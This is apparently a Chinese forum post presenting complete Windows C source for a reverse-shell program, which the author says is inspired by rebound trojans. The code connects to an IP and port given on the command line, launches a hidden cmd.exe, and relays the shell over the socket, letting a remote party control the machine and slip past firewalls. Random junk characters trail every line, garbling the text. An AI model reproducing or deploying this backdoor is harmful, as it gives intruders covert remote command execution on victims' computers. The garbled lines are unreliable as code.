这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 {3LA%xO
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/* ============================== P|N2R5(>T
Rebound port in Windows NT G8eD7%{b:)
By wind,2006/7 zCt\o
===============================*/ ygN>"eP
#include pV7N byb4
#include {Bh("wg$Lk
)>\4ULR83
#pragma comment(lib,"wsock32.lib") !DPF7x(-{
61} i5o
void OutputShell(); /t*YDWLg
SOCKET sClient; `z9J`r=I
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; #;]2=@
:$?Q D
void main(int argc,char **argv) iRNLKi
{ `?"6l5d.]
WSADATA stWsaData; fxd0e;NAAh
int nRet; B8 H75sz
SOCKADDR_IN stSaiClient,stSaiServer; k^%2_H
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if(argc != 3) \7Qb229?
{ 'f+NW&
printf("Useage:\n\rRebound DestIP DestPort\n"); )s)_XL
return; =LI:S|[4
} R(G\wqHUT3
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WSAStartup(MAKEWORD(2,2),&stWsaData); <J&7]6Z
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <*<U!J-i
z}+i=cAN
stSaiClient.sin_family = AF_INET; ]!Oue_-;
stSaiClient.sin_port = htons(0); Lu=O+{*8
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); je%l dY]/@
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) .IgRY\?Q
{ -R0/o7
printf("Bind Socket Failed!\n"); zT[6eZ8m
return; w^HjZV
} Qqc]aVRF
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stSaiServer.sin_family = AF_INET; ^2S# Uk
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); RNWX.g)b
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); b*EXIzQ
r8[T&z@_
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) w2dcH4&
{ C5*xQlCq}
printf("Connect Error!"); )*|(i]
return; ut_pHj@
} iidT~l
OutputShell(); /7/0x ./{
} FJ54S
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void OutputShell() XN;&qR^j
{ BMFF=
char szBuff[1024]; dU_;2#3m
SECURITY_ATTRIBUTES stSecurityAttributes; G-u]L7t&1
OSVERSIONINFO stOsversionInfo; QM'X@
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 6B" egYv
STARTUPINFO stStartupInfo; 0 )}$^TV
char *szShell; X(*!2uS
PROCESS_INFORMATION stProcessInformation; L(G92,.
unsigned long lBytesRead; 8Lz]Z
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); V5p0h~PK
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); qf#)lyr<D6
stSecurityAttributes.lpSecurityDescriptor = 0; poT&-Ic[
stSecurityAttributes.bInheritHandle = TRUE; (=u'sn:s
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)8,|-o=
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 7K;!iX<d
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); @?kJ).
)C~9E 5E
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Q@S-f:!
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $IX\O
stStartupInfo.wShowWindow = SW_HIDE; O
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stStartupInfo.hStdInput = hReadPipe; F #`=oM$5
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; fjG&`m#"
wTc)S6%7
GetVersionEx(&stOsversionInfo); `<frgXu64
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switch(stOsversionInfo.dwPlatformId) F<|t\KOW
{ B^v8,;jZT
case 1: nZk+
szShell = "command.com"; *O~e
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break; lDU_YEQ>
default: Um`!%
szShell = "cmd.exe"; `yiC=$*[
break; |~0UM$OB^3
} i|WQ0fD
4hs)b
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); B?bW1
>jg0s)RA'
send(sClient,szMsg,77,0); mtAE
while(1) ?C-Towo=i
{ 78 f$6J q
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); kz}R[7
if(lBytesRead) U7h(`b
{ B1!kn}KlL{
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); u]*0;-tz
send(sClient,szBuff,lBytesRead,0); % Zjdl
} <0P5 o|
else 8\.b4FNJ
{ Yk!/ow@.
lBytesRead=recv(sClient,szBuff,1024,0); 0RFRbi@n(
if(lBytesRead<=0) break; nh+l78
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3uWkc3
} 4?\:{1X=
} 49H+(*@v@
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return; zi@]83SS#
}